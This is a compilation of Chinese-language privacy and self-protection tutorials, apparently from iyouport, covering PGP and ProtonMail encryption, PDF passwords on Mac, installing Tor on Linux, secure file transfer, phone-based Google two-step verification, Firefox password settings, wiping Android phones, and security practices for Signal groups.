通过本指南，您已经了解了通过PGP加密来保护通信安全的所有必要知识。您已经学会了如何生成PGP密钥对，导出您的公钥以分享给他人，导入他人的公钥，以及如何加密和解密信息。

现在就可以实践它了。加密愉快。〇

How to Use GnuPG for Encryption on Linux

原文

如何在Mac上加密PDF - iyouport

自我保护措施-技术技巧以防身

【2020年8月7日存档】对于那些有可能被其他人查看设备的人来说，它可以是安全链上的一个小环节。

如果要在Mac上加密PDF，最简单的方法是使用 Preview app。您可以将密码添加到最敏感的PDF文档中，以确保其安全。

Preview 是 MacOS 的核心应用程序，因此您可以在任何 Mac 计算机上找到它。无需其他软件，您只需要一个PDF文档和一个Mac即可加密。

如果您想使用其他软件，那么 Microsoft Office 也可以对PDF进行密码保护，但是 Preview 提供了使用Mac核心应用程序最快的方法。

要将密码添加到 macOS 上的PDF文档中，请从启动台打开 “Preview” 应用，您可以从Mac显示屏底部的Dock中看到。

或者，您也可以从 Finder 的 Applications 文件夹中启动 Preview —— 您还将在Dock上找到它的图标。

「图」

打开 “Preview” 后，从菜单栏中单击 “文件”」“打开” 以打开要使用密码加密的PDF文档。

要开始加密在预览中打开的PDF文档，请从菜单栏中单击文件」导出。

这将显示各种选项以不同的格式导出PDF，包括添加密码的选项。

如果您不想覆盖现有文档，则需要在 “导出为” 框中为新文档命名。在 “位置” 下拉菜单中确认保存位置。

要添加密码，请单击选项菜单中的“加密”复选框，然后在下面的“密

码”和“验证”框中键入安全密码。

确认设置后，按 “保存” 按钮保存加密的PDF文档。

您的PDF文档将使用您选择的选项导出。加密文件后，在 Preview 中加载文档时将需要您输入密码。

「图」

如果密码正确，这将解密文件并打开文档。您可以继续查看文件，直到将其关闭为止。关闭后，您需要重新输入密码才能再次查看文件。

就是这么简单。对于那些有可能被他人查看设备的人来说，这也许可以作为一步缓解措施。绝不是全部措施！更多方法可以参见 列表-1 “技术防身”，和列表-5 “护盾”。〇

原文

如何在ProtonMail中设置PGP加密 - iyouport

自我保护措施-技术技巧以防身

不需要任何额外的软件

任何邮箱加PGP都可以发送加密邮件。但在两个 ProtonMail 用户之间的通信是自动加密的，而您如果与非 ProtonMail 用户通信则需要手动设置。

Pretty Good Privacy，简称PGP，可以让您锁定您的邮件，只有拥有密钥的目标收件人才能查看邮件。ProtonMail 是为数不多的不需要任何额外软件就能支持此功能的电子邮件服务之一。

PGP是如何工作的？

「图」

PGP的工作原理是使用公钥和私钥。要发送加密邮件给某人，您需要知道此人的公钥。用收件人的公钥加密您发出的信息，然后他们就可以用他们的私钥解密。端对端加密使得任何人几乎不可能拦截您的信息—— 前提是，您永远不要向任何人透露您的私钥。

在大多数电子邮件客户端中使用PGP都需要使用额外的软件（如 FlowCrypt 或 Mailvelope）来处理解密和加密过程。但是 ProtonMail 已经原生支持 OpenPGP，这意味着您可以将其设置为用于特定的电子邮件地址，然后就不用管它了。

您可以使用免费的 ProtonMail 账户或付费账户来使用PGP。

提示：如果您已经向另一个 ProtonMail 用户发送了邮件，那么您不需要担心这个问题，因为在 ProtonMail 地址之间发送的邮件已经被端到端加密了。只有当您想和没有使用 ProtonMail 的人交换加密邮件时，才需要这样做。

第一步：分享您的公钥

「图」

要通过PGP设置安全的电子邮件通信，您需要先和您要通信的人交换公钥。

如果您还没有这样做，先注册一个 ProtonMail 账户并登录。点击屏幕左上角的“撰写”按钮，开始撰写新邮件。输入您要为其建立加密通信的收件人的地址。

接下来，点击“更多”下拉图标，确保“附加公钥”被选中。现在您可以在邮件正文中添加一条信息，通知收件人您的公钥已经附加。您可以在“设置”」“安全”下，通过启用PGP设置下的“自动附加公钥”，将您的公钥自动附加到所有发出的邮件中。

第2步：信任您的联系人的公钥

「图」

接下来，您希望与您通信的人分享他们的公钥。他们如何做到这一点最终取决于他们使用PGP的方式，但不管怎样它都将以一个小文件附件的形式出现。当您收到这封邮件的时候，ProtonMail 会通知您附件中有一个公钥，并要求您信任它。

点击“信任”，并确保在弹出的窗口中勾选“用于加密”。这样就会在发送公钥的邮件地址旁边标注这个公钥。

如果收件人通过其他方式向您发送公钥，比如私密聊天等等，您可以点击页面顶部的“联系人”，创建一个新的联系人。使用收到公钥的同一邮箱，并上传您收到的那个文件。再次确保选择“用于加密”，这样您就可以在寄出的邮件上签名了。

提示：您也可以使用 ProtonMail 的联系人功能手动上传收件人的公钥。请参阅 ProtonMail 的文档了解更多信息。

现在可以安全地进行通信了

「图」

交换了密钥，您的通讯录也更新了正确的密钥，现在您应该可以安全

地与您的联系人进行通信了。您还需要为您希望使用PGP的其他联系人重复这个过程。这个过程可能就是为什么PGP仍然是一个相对隐蔽且有效的加密工具。

「图」

如果您正确设置了PGP，ProtonMail 会自动对邮件进行加密和解密。如果您看到“发件人”栏中的绿色挂锁图标，您就可以知道邮件已经通过PGP加密了（其他ProtonMail用户的邮件会被紫色挂锁表示）。○

原文

如何在运行 Manjaro Linux 或 CentOS 的计算机上安装 Tor - iyouport

自我保护措施-技术技巧以防身

【2020年4月14日存档】非常简单。

如果您希望保护自己的上网安全，如果您不想投资VPN或认为VPN的思考方式本身不够安全，那么可以使用Tor浏览器。

如果尚未熟悉 Tor，您可以在下面了解：

- 《当搬石头砸脚遇到“运动死亡”—— 洋葱头会让谁流泪？（一）》
- 《追求正义的人应该加强反侦技巧—— 洋葱头会让谁流泪（二）》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 《请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四）》
- 《如何在你的网页浏览器中使用Tor网络？》
- 《使用 Tor 保护自己时千万不要做这九件事！》
- 《如何在Android上设置和使用Tor》
- 《如何在你的网页浏览器中使用Tor网络？》

使用Tor浏览器，您可以在流量最终到达目标服务器之前，通过多个节点反弹流量，这实际上使监视机构难以跟踪您的在线活动。

Tor 是开源的，可用于包括 Linux 在内的所有主要平台。

尽管在 Windows 计算机上安装 Tor 浏览器很容易，但是，在 Linux 计算机上安装 Tor 浏览器对于某些使用来说可能有点障碍。

Tor 浏览器在 Linux 所有可用的官方存储库上均不可得，这意味着您必须从官方网站上下载安装程序，然后继续在 Linux 计算机上进行安装。

对于所有的 Linux 发行版，安装 Tor 浏览器的过程几乎都是相同的，本文将讨论如何在运行 Manjaro Linux 和 CentOS 7/8 的计算机上安装它，其余的都可以照猫画。

下载和安装 **Tor** 浏览器

首先是访问 Tor 浏览器官方网站，并下载适用于 Linux 平台的 Tor 浏览器。

您只需单击此链接即可在系统的默认下载目录中下载适用于Linux的Tor浏览器。

另外，您甚至可以在 Linux 终端中执行以下命令，以在计算机上启动 Tor 浏览器的下载。

```
wget https://www.torproject.org/dist/torbrowser/9.0/tor-browser-linux64-9.0_en-US.tar.xz
```

下载完成后，您需要打开 Linux 终端，导航至存在下载文件的目录，然后键入以下命令，以开始解压缩 tar.xz 安装程序。

```
sudo tar xf tor-browser-linux64-9.0_en-US.tar.xz
```

「图」

解压缩过程不会花费很长时间，一旦完成，您需要使用默认的文件管理器导航至下载Tor浏览器的文件夹。

现在，您将找到一个名为 “**tor-browser_zh-CN**” 的文件夹。只需打开该文件夹，您就可以找到一个名为 “**Tor Browser Setup**” 的文件。

最后，双击该文件以在 Linux 计算机上打开此安全浏览器。图标将更改，文件名也将更改为 “ Tor浏览器”。

打开后请通过单击“连接”建立连接。

如画面显示，如果您在中国、埃及和土耳其，这些国家已经封锁了 Tor，那么您需要使用代理和网桥，按照步骤操作即可。

建立连接需要一点时间，一旦连接成功，您就可以开始使用此安全浏览器在互联网上几乎完全匿名。

您可以使用 CentOS，Ubuntu，Fedora，Debian 或任何其他 Linux 发行版，安装 Tor 浏览器的过程不会有任何不同。

请注意本文开始时提供的那一系列关联链接，那其中强调了操作安全！操作安全是比保护性技术更重要的东西。〇

原文

如何安全地在线传输大型文件？：5个方法 - iyouport

自我保护措施-技术技巧以防身

【2020年6月12日存档】是完全免费的方法。

由于电子邮件服务顽固地坚持其Web 1.0 25 MB 附件大小的限制，因此如果用户希望传输更大的文件，必须另想方法。

当然，如果你完全不考虑安全性问题，总会有云存储可以用；但是，如果您需要一种安全的方式传输文件，那么就必须另想办法。

本文将介绍五种安全的文件传输选项，它们都是免费的。

1、WeTransfer

WeTransfer 的优势不仅是因为它非常简单，而且因为它具有快速的上传和下载速度。

有免费和付费选项。免费选项允许最大2GB的文件传输，而无需注册帐户。只需上传文件，然后添加您自己的电邮和和个性化的消息即可。您可以使用一次性电邮服务。

您可以通过电子邮件发送下载链接，也可以使用唯一的加密链接来复制和粘贴聊天消息。

付费版计划提供了更多的功能（每月12美元或每年120美元），例如20GB文件传输、100GB文件存储空间、文件传输中的密码和有效期，甚至可以设置和设计自己的 WeTransfer 页面和URL 。

但是，除非您要传输大型视频和音频文件，否则一般文件的大小永远不可能超过2GB。因此免费计划就足够了。

2、Firefox Send

Firefox Send 可以让您在不注册的情况下进行1GB的文件传输、在注

册免费帐户后可使用2.5GB的文件传输。

另一端的人下载文件后，链接会自动失效，因此您不必担心该链接会被偷走或文档会被重新下载。

但是，如果您使用 Firefox 帐户发送2.5GB的文件，则可以将这些链接保持活动状态长达一周，并与更多人共享该链接。

可以免费使用密码保护文件，一旦文件上传，您便获得了加密链接。

3、RiseUp

这是我们使用的在线协作平台，可以说比较理想。

它用来文件传输的空间有限，上限仅为50MB。但是对于我们来说，在线协作中传输文件是很方便的。

您只需要将文件拖到窗口中，就会生成一个加密链接，该链接将持续一周。或者，如果其他人已经告诉您他们拥有该文件，则可以立即删除自己的文件。

「图」

RiseUp 也有一个类似于 PasteBin 的部分。因此，您可以将纯文本复制粘贴到站点中，并生成一个加密链接，以将该文本发送给其他人。

4、Onionshare

这当然是最好的。Onionshare 的优势在于，您的文件未存储在任何等待有人下载的中央服务器上。

相反，其他人需要Tor浏览器，并且当两个浏览器都打开时，会形成加密连接。然后，文件会自动从你的计算机移到他们的计算机上。

这是所有方法中最安全的一种。一个等效的P2P平台是 Resilio，您也可以尝试。

5、Signal

Signal 是目前最安全的消息传递应用程序。因此，理论上通过Signal发送文件也将足够安全。

在该应用程序上，点击要发送文件的联系人，然后点击左侧的“ ＋”图

标。

这将显示可以通过 Signal 发送的东西的列表。在这种情况下，点击“文档”。

下一步将您带到文档的位置将取决于您使用的是iOS还是Android。在 iOS 上将是 iCloud Drive，因此如果您使用的是中国的 Apple 账户，那就不要通过手机传输文件。

您可以使用电脑版，操作是一样的。〇

原文

如何将您的手机用作在任何计算机上登录Google帐户的安全密钥？ - iYouPort

自我保护措施-技术技巧以防身

手机验证不安全，物理密钥要花钱，权衡一下这两者，还有一种办法...

「图」

「图」

许多在线帐户现在都增加了双因素身份验证（2FA）功能，以帮助确保我们的数据安全。

这实际上意味着在满足一组特定要求之前，任何人都无法访问该帐户。

但是，短信验证肯定是不安全的。在这里看到为什么《如何使用社交工程来攻击 2FA？》而且还容易被骗，比如《Facebook 以”安全性”为幌子骗取你的手机号码》。

手机号码本身就很危险，在这里看到《如果只知道一个电话号码，你能挖出多少有效信息？》。

这就是为什么推荐物理密钥。

但是物理密钥你需要买。

现在，不花钱购买额外设备也可以做到。

用手机来代替。因为如今几乎没有人不使用智能手机，如果能把智能手机变成物理密钥的话就能省下额外的开销。

具体来说，大多数2FA系统在您登录之前需要两件事的组合：您知道的东西、和您拥有的东西。

您的密码是“您知道的东西”，Google 现在拥有一个系统，当您在计算机上登录 Google 服务时，您的手机可以作为“您拥有的东西”。

设置完成后，除非潜在的攻击者除了知道您的密码外、还可以直接实际访问您的手机，否则他们将无法登录。

您现在可以使用任何 Android 手机来保护您的 Google 帐户，使用他们所谓的两步验证（2SV）系统。

这可以被认为是如上所述的2FA方法的一种形式，因为它需要两个单独的因素。

新增的2SV功能意味着您不再需要随身携带单独的物理密钥来保护您的帐户。

基本要求 ：

- Android 7.0 Nougat or higher
- Windows, Mac, or Chrome OS computer
- Google Chrome installed on phone and computer

下面说说怎么做。

第一步：在您的计算机上启用蓝牙

首先，您需要在计算机上启用蓝牙。

如果您的计算机没有内置蓝牙功能，您只需8美元即可从亚马逊购买蓝牙适配器，然后只需将其插入计算机的USB端口即可添加蓝牙功能。

要在 Windows 10 PC 上启用蓝牙，请转到“开始”菜单（单击左下角的 Windows 图标），然后单击“设置”齿轮。

接下来，选择“设备”，然后确保“蓝牙”下面的切换开关打开。

「图」

「图」

对于 Windows 8 用户，将鼠标指针移动到右下角，将开始显示几个图标（“Charm Bar”）。

向上移动鼠标以显示 Charms，然后单击“设置”。

从此处转到更改PC设置」无线」无线设备，然后启用蓝牙切换。

如果您使用的是Mac，请单击任意屏幕左上角的Apple图标，然后选择“系统偏好设置”。

从那里打开“蓝牙”菜单，然后单击标有“打开蓝牙”的按钮。

如果此按钮变为显示“关闭蓝牙”，则蓝牙已启用，您无需更改任何内容。

「图」

「图」

对于 ChromeOS 用户，只需点击右下角的时间，然后选择“蓝牙”即可。

第二步：在手机上启用蓝牙和位置

现在，从手机屏幕顶部向下滑动以展开“快速设置”菜单，然后点击蓝牙切换以启用此功能。

或者，您可以在手机的主设置应用中搜索“蓝牙”一词，然后从那里打开开关。

接下来，转到手机的主设置应用，然后打开“位置”菜单。从那里，启用页面顶部的切换以确保打开位置服务。

这是确保您的手机在登录时物理上靠近计算机所必需的。

「图」

「图」

注意：蓝牙和位置不要一直处于开启状态，就在您登录帐户时开一瞬间！

成功登录帐户后，严重推荐将其关闭。

第三步：将您的 Google 帐户添加到手机中

首先，您需要将自己的 Google 帐户添加到要用作安全密钥的手机中。

如果您还没有这样做或者想要在特定设备上保护多个帐户，可以通过转到此菜单轻松添加它们：

Settings 」 Accounts 」 Add account 」 Google

您可以在上面的位置找到向设备添加新帐户所需的一切。

按照屏幕上的说明使用一个或多个Google帐户登录。

第四步：注册两步验证

既然您已经使用您选择的受信任的 Android 手机处理了 Google 帐户的情况，那么您需要在 Google 的 2SV 系统中注册您的帐户（如果您还没有这样做的话）。

这是一个简单的过程，根本不会花费很长时间来设置，并且值得额外的安全层。

「图」

「图」

完成后，将窗口打开以进行2FA设置，因为您需要在下一步中重新启动它们。

您现在已经设置了受信任的 Android 设备，然后每次登录帐户时都会在每台设备上收到通知。

在此通知中，如果您发现自己已登录，则可以授予访问权限；或拒绝访问以保护您的帐户免遭恶意登录尝试。

第五步：创建备份代码

在将手机变为物理安全密钥锁定帐户之前，如果尚未生成2SV备份代码，则需要一些时间来生成2SV备份代码。

如果您的手机丢失或被盗，这些代码可以作为您手机的替身 —— 换句话说，如果您的手机因任何原因无法解锁账户，您可以在登录提示中输入其中一组随机数字。

要执行此操作，请转到 Google 的 2SV 设置页面，单击“开始使用”并登录，然后向下滚动到“生成替代第二步”，并单击“备份代码”标题下方的“创建”按钮。

「图」

「图」

现在，您将看到一个包含10个8位代码的列表。

确保将它们复制下来并将它们放在安全的地方 —— 最好的方法是将它们写在一张纸上并将这张纸存放在一个最安全的地方。

千万不要将它们保存为数字文件！否则只会留给远程黑客，这会违背使用物理设备作为2FA安全密钥的目的。

第六步：将您的手机添加为安全密钥

现在您已经在Android上设置了2FA安全系统，您需要为其分配一个安全密钥，以便在计算机上使用您的帐户登录。

为此，您必须打开 Google Chrome 浏览器，然后在Google上访问您的2SV帐户设置。

在那里，向下滚动到生成替代第二步部分，然后单击“添加安全密钥”开始。

在下一个屏幕上选择您要用作保护 Google 帐户信任来源的 Android 设备，然后点击“添加”，点击“完成”即可。

「图」

「图」

第七步：用手机解锁您的帐户

现在在计算机上测试下，看看它是如何工作的。

如果必须，请在计算机上的 Chrome 网络浏览器中退出您的 Google 帐户，然后尝试使用您的登录名和密码重新登录。

输入密码后，系统会显示一个新屏幕，要求您“检查手机”。

「图」

「图」

确保手机上的位置和蓝牙都已启用，以便“检查附近的设备”。

一旦识别出您信任的设备，它就会向该设备发送提示。

点按“是”确认您刚刚登录帐户，然后它将开始连接到您的计算机进行验证。

正确完成时您会看到下面这样：

「图」

「图」

如果您使用的是 Google Pixel 3或3 XL，可以长按音量调低按钮进行确认。

这是因为这些手机内置了 Titan M 安全芯片。

按住音量降低键的方法还可以防止黑客做的钓鱼页面以要求你点击确认。

「图」

「图」

潜在的问题和疑虑

1、这适用于您的所有在线帐户还是仅适用于您的Google帐户？

目前，这仅适用于您的Google帐户或访问任何Google服务，例如YouTube或Google Play。

但应该不会停留在此处。如果能扩展的话是相当方便的。

2、这是否适用于除谷歌浏览器之外的其他网络浏览器？

至少目前还不行。谷歌Chrome是目前唯一支持此功能的浏览器，但随着时间的推移，相信其他流行的浏览器也应该可以做到。

3、如果您无法通过手机验证连接以允许您登录，该怎么办？

它可能并不完全适用于所有用户，因为使用手机作为安全密钥的新方法仍处于测试阶段，但预计手机上的 Google Play 服务会更新，以便尽快解决此问题。

另外，请确保手机上已启用位置和蓝牙，并且只能在计算机上启用蓝牙功能。这样才能在两者之间建立联系。

如果所有其他方法都失败了，请在登录时点击“检查手机2FA”提示上的“取消”，然后在登录页面上选择“尝试其他方式”。

从那里，选择“输入您的一个8位替代码”，然后在出现提示时输入上述步骤5中生成的代码之一。

4、如果您无法访问受信任的设备并被锁定，该怎么办？

如果您无法访问受信任的设备，Google会提供许多不同的替代选项。

如果所有其他方法都失败了，那么确保您不会被锁定帐户的最佳方法之一就是使用您的备用码。

同样，要做到这一点，在要求检查手机时单击提示上的“取消”，然后在登录页面上选择“尝试其他方式”并选择“输入您的8位备用码之一”。

5、这与Google旧的“使用您的手机登录”提示有何不同？

简单说就是，以前的方法在您实施验证的时候，谷歌不会验证您的手机和您正在记录的设备是否在同一物理区域。

这个旧系统完全基于Web，但由于新系统使用蓝牙和位置服务，它可以验证这两个设备在物理上彼此靠近，从而降低远程帐户入侵的可能性。

注意：我们依旧支持放弃谷歌，《这里是谷歌产品的所有替代品列表》。但是目前依旧有 很多人依赖谷歌。与此同时政府的黑客行动仍在增强。如果您能保护账户免受攻击是很有价值的。〇

原文

如何强制 Firefox 永远不会保存任何密码 - iYouPort

自我保护措施-技术技巧以防身

不要让老大哥追踪到你。只需要一些小步骤

「图」

「图」

浏览互联网时，您的隐私是最重要的问题之一。有许多眼睛能跟踪您的活动、位置等。通过跟踪您的浏览习惯，可以从中提取大量关于您的个人信息。这就是为什么要建议您在网上留下最少的痕迹 —— 我们称之为数据面包屑。

- 如果您想要知道浏览历史记录有多么的危险，请阅读这篇文章，它是一个仅仅通过浏览记录就能挖掘一个人真实内心世界的跟踪演示《⚠浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》。请记住，这只是一个极小程度上的演示，已经足够恐怖，而真正的老大哥比这厉害一万倍。

我需要防止这种事发生。

作为 Web 浏览器，Firefox 是一个非常受欢迎的选择。它是开源的，免费的，非常强大的。

每当您决定登录 Facebook、Twitter 或银行帐户时，Firefox 都会自动提示您保存密码。但是要知道，在浏览器上保存密码是一件很危险的事！浏览器密码保护功能并不强大，因为您每天都要访问数百个网站，所以永远不要让浏览器管理您的密码是至关重要的。

我们应该迫使 Firefox 永远不要保存任何密码。

Firefox 密码

例如，我要登录我的 Gmail 帐户。输入密码后，恼人的弹出窗口就打开了 –

「图」

「图」

当然，您不希望浏览器管理密码，对吧？您只需选择“不保存”或“永远不记得此站点”选项。但是，任何一般用户都必然会访问多个网站，对吧？

那么，转到选项」」隐私和安全，或转到“about：preferences#privacy”URL。

「图」

「图」

向下滚动到 “Forms & Passwords”.

「图」

「图」

取消选中“要求保存网站的登录名和密码”选项。

「图」

「图」

⚠ 不要忘记查看“已保存的登录”部分，确保它删除干净。

「图」

「图」

从现在开始，Firefox 不会再提示您保存密码了。

另外，每当您登录各个站点时，都会在浏览器存储中创建一个 cookie。它允许您的浏览器保持与网站的连接，让您享受服务，而无需一次又一次地输入凭据。

但我们都知道它非常危险。你可以强迫 Firefox 不要记住 cookie。

从上面提到的“隐私和安全”选项中，向下滚动到“Cookie 和站点数据”。

「图」

「图」

切换到“阻止 cookie 和站点数据”。

「图」

「图」

您可以看到要阻止的 cookie 和站点数据的可用列表。建议的操作是“第三方跟踪器”。

从“Keep until”选项，您可以选择这些数据和 cookie 可以保留多长时间。

“They expire”将允许 cookie 和数据一直保留，只要它们有效。时限可以变化。如果您选择“Firefox is closed”，则只要您关闭了浏览器，就会销毁所有网站数据和 Cookie。

最后的想法

现在，为了保护隐私，还有许多其他凭据管理软件可用，如 LastPass。 LastPass 是一个完美的虚拟保险库，可以使用强大的加密功能保证您的数据安全无虞。

它也可以与 Firefox 完美配合，因此无需担心。请随意测试上面讨论的所有选项，以找出合适的设置。只要有可能，启用“两步验证”。这将确保即使您的密码被盗，您的帐户也是安全无恙的。

原文

如何彻底擦除您的Android手机？ - iyouport

自我保护措施-技术技巧以防身

【2020年3月27日存档】在您放弃设备之前，请删除您的个人数据。

不论您是想要以旧换新获得折扣、在eBay上出售旧手机、赠予朋友、还是将其扔进垃圾桶，您都需要首先彻底擦除所有数据，将其重置为出厂状态。

幸运的是，这很容易做到。

开始之前，请注意，本次说明以运行 Android 9 的 Pixel 3 XL 为例，但大多数当前的 Android 手机的擦洗过程大致是相同的。

不用说，首先要确保所有数据都已传输到新手机、已备份、或同时完成这两者。因为旧手机重置后将无法恢复。

“重置”屏幕为您提供三个选择：

1、前往 “设置”

2、选择 系统」高级」重置选项

3、您将看到上面那三个选择。

如果您在连接时遇到问题，“Reset Wi-Fi, mobile & Bluetooth” 有时会很有用；

“Reset app preferences” 为还原所有应用程序和通知默认设置等；

这些都不会删除手机上的数据。

这里您应该使用的是第三个选项，“清除所有数据（恢复出厂设置）”。

您会看到一个警告屏幕，提醒您继续操作将删除的数据以及当前登录的所有帐户。选择 “Reset phone”。

4、如果您有PIN或其他安全设置，系统会要求您输入。

5、您将看到另一个屏幕，询问您是否确定要执行此操作。你确定吗？然后点击“清除所有内容”按钮。

就是这么简单。该过程通常只需要两到三分钟。

您的手机将重新启动，并开始要求回答常见的开放性问题，例如语言、帐户、网络等。看到这些问题后您就能知道刚才做对了。

有几件事要注意。

首先，如果您拥有三星手机，那么在重置之前，系统会要求您输入三星帐户密码（前提是您已创建了一个三星帐户密码并将其添加到手机中）。

如果您的 Android 手机使用的是早期版本（例如，版本8或更早），那么重置可能会在重启后要求您登录。如果您已经将电话送给了其他人，这可能会很尴尬。

因此，如果您的手机比较旧，最好先关闭屏幕锁定（转到安全」屏幕锁定，并选择“None”）；删除您的 Google 帐户，您可以在“设置”中找到（设置」帐户」 Google），然后再开始重置。

⚠有证据表明，即使在重置手机后，某些数据仍可能保留在手机上。要格外小心！您可以在重置手机之前对其进行加密：

- 转到设置」安全和位置」高级」加密和凭据，然后选择“加密手机”
- 返回设置并开始重置过程

当然，如果您不打算将手机交给任何人只想废弃它，那么就砸烂它吧。砸越得越烂越好。〇

原文

如何才能安全地使用端对端加密（比如 Signal）：准则 - iyouport

自我保护措施-技术技巧以防身

【2021年3月25日存档】一个软件不能保护您的一切，最严重的问题往往都出在人身上。

您应该使用端对端加密，这不必细说了；幸运的是如今很多人已经理解到使用端对端加密的重要性，尤其是，人们已经知道，安全不是哪个软件能完全解决的问题，安全必须是一套科学的思考方式 ＋ 科学的操作方法 ＋ 有效的协作。

Signal 也一样。作为一个安全工具，如今它是许多群体相互联系和沟通的首选渠道。用户团体的意图和目的可以有很大的不同，从制定晚餐计划到组织下一次反抗运动。

但是，仅仅使用 Signal 还不足以保证您和您的朋友的安全 —— 安全只有在堵住最薄弱环节之后才能有保障，在通讯软件上，“最薄弱环节” 就是：您与之交流的所有人中最不注重安全性的那个/那些人。

因此本文将概述一些准则和协议，以帮助加强您的个人和集体安全实践。

请注意：端对端加密工具不只有**Signal**！本文中强调的大部分准则适用于所有端对端加密通信应用。

当创建一个新群组时

「图」

加密通信的技术能力本身会给人们一种误解，似乎 “我终于可以随便说话了”，并不是这样的！还记得英国间谍搞出来的入侵 Signal 的方法吗？是的，最危险的部分在于人，在这里看到《关于幽灵用户和开裆裤》。

创建群组要有目的性，添加成员同样需要有目的性。在将任何一个人添加到您的联系人列表之前要知道：一旦某人成为群组的一部分，您就不可能简单地将其删除了。您不可能在完全放弃这个群组或者要求此人离开之前删除他。

📌 您随时应该知道您加进来的人都是谁。

考虑一下您会怎么处理一个一开始就被单方面添加进来的人，单方面添加指的是比如无法双向认证的，或者是让群组中其他人对此有顾虑的。另外，在没有事先征得群组中其他人同意的情况下，不要把新人加到敏感的群组里。

群组建立后，您需要说明此群组的目的，并立即点名 —— 可以完全根据您的需求，不论是不是实名，或者所有成员都使用代号，只要彼此知道其他成员都是谁就可以了。这些应该在对话开始之前完成。

不要在没有问过群组成员的情况下添加新的人进入，并给人们一个指定的时间来表达意见，比如24小时，因为许多人不可能每时每刻都在手机上活动。鼓励原成员对新成员提出问题或进行阐述，这比简单地说 “您担保” 更有助于创造良好的对话。

每次增加新成员时，都要重新点名，这样您的群组其他成员就会知道自己正在和谁说话。

担保

「图」

这里的的担保就是它本来的意思 —— 即 支持是真实的、确定的、可靠的，或 证明、保证、认证。在政治背景下，为某人担保指的是，您相信此人致力于团队的目标，值得信赖，可靠和负责任。

📌 请记住，担保是对您个人意见的反映，建议谨慎使用担保，因为如果是不负责任的担保，就会影响群体的安全、信任和凝聚力。

担保是某人获得一种凭证，这样的 “凭证” 对于以前可能没有合作经验的群体来说非常重要，他们需要一定的信任和安全感才能舒适有效地合作。

担保制度可以让1个人或多个人（越多越好）使用他们从团体中获得的信任，并将其扩展到他们想要带入的人身上。担保的必要性根据您

工作的内容而异，越是敏感的工作，这个过程就越是需要谨慎。

担保某人是否应该能够进入一个群组的对话、是否合乎该群组的目标和目的，应该结合群组的整体目标和风险来考虑。群里的其他成员在选择是否相信您提供的担保时，都会有自己的判断力。

📌 使用担保的一些标准包括：

- 认识此人有一段时间了，对此人有一定程度上的了解；尤其是，了解此人在该群组的目标方面的契合度；
- 您与此人合作过一段时间，对此人的工作方式、品格和原则立场有一定了解；
- 您的熟人中有一些人在一定时间内与此人合作过，他们对此人的信任加之您对他们的信任，可以在您的心目中给此人一个信任度的基础分数；
- 您了解此人的优势和缺点，以及知道此人在面临镇压的情况下的反应；
- 您知道此人如何回应批评或反馈，以及此人对自己的行为负责的程度；
- 您了解此人的大家庭、儿时的朋友、以及整个人生故事（开个玩笑...也许是，但比较少见...）

总之，您应为以下人员提供担保：您认识和信任的人，您知道他们了解特定群体的目标和安全要求，您知道他们参加过专业的扎实的安全培训，并可以熟练使用安全操作。

您不应该仅仅因为 “知道这个人的存在和其工作内容” 或 “有过一两次愉快的谈话” 就给予此人担保，虽然这些东西是了解和信任某人的一部分，但它仅仅是一部分！并非全部。

担保的严格程度会根据你们的对话的敏感度和团体承担的风险等级而有所不同。如果这是你没有考虑过的问题，现在就需要考虑（我们在不久后会更详细介绍安全文化的构建）。

📌 无论您用什么标准来担保他人，都要提前跟群组里的每个人沟通，而且每个人都需要站在同一条线上。担保这个词已经被用烂了，几乎没有详细地说明，人们对它的含义往往有不同的想法。这就是您需要沟通的地方，让所有人统一对这个概念的理解标准。

请注意，数字安全不能代替关系安全！如果您决定信任的任何一个人在敏感的信息对话中，结果此人本来是恶意的、鲁莽的、粗心的、或

不负责任的，那么世界上所有安全软件和安全协议都无法帮助您。

规则

「图」

当重新安装 Signal 或获得新的电话号码时，请事先通知各群组，让他们知道要接受新的安全密钥 —— 他们会看到您的 “安全码已改变” 的提示，如果他们不知道您在做什么，他们会因此害怕。

或者，如果您无法事先通知其他人，也要在事后立即让他们知道。📌 根据安全级别不同，您应该选择亲自见面、或发送安全号码的截图，来验证新的安全码。

使用安卓系统时，一定要在 Signal 应用上设置密码和超时功能。可惜iOS还没有这个安全功能。至少要为整个手机设置一个复杂的字母数字密码。从法律的角度来看，形状、图案和拇指指纹/生物识别技术都是不安全的，维稳官员可以依法强制您出示指纹来解锁手机。此外也要对您的手机进行加密。

一定要使用阅后即焚。时间设置长短根据您的具体危险状况来判断，您需要想象威胁会如何发生，据此来判断多长时间的销毁是合适的。如果您的群组中任何一个人的手机被警察抢走，却没来得及锁屏，你们所有人都会被暴露。

并且，您需要时刻关注阅后即焚时间的稳定性，有时，当群组中有人重新安装应用程序或添加了新的人员进入时，阅后即焚可能会被自动关闭。您需要确保及时地重新激活该功能。

📌 如果您正在参加反抗行动、或处于可能导致逮捕的任何一种情况下，包括过境，而您又带着手机，请事先离开所有的群组并卸载 **Signal**。不论如何，非常建议不要把您的个人手机带入上述这些情况中。您可以在下面阅读详细解释，以及您可以如何处理这种情况：

- 《指南：当您准备参加抗议活动...》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《警察如何利用抗议者的手机追踪每个人》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取

证》
- 《手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您》

如果您在跨越国界，必须首先离开所有群组，并卸载 **Signal**。因为通常保护您免受搜查和扣押的法律基本都不适用于国际边境。如果您在国外旅行，强烈建议不要携带您自己的手机/平板电脑/笔记本电脑/等。

如果出现安全漏洞，比如您带着手机被警察抓到，或者您的家被警察突袭，您需要指定一个人开始一个新的群组，并立即离开旧的群组（也就是烧掉这个群组）。确保威胁不会转移到新的循环中。指定一个人留在旧群组上，确保所有人都完全离开了。最后删除这个群组。

在手机丢失/被盗或被警察没收的情况下，立即向与您在同一个群组中的其他人报告，让他们提醒所有成员需要抛弃旧群组并重新开始。

签入政策

「图」

有些群组是短暂的，是为了特定的短期目的而存在的，在目的完成后应予以删除。生命期不确定的群组应定期检查成员情况，以帮助消除松散的问题。

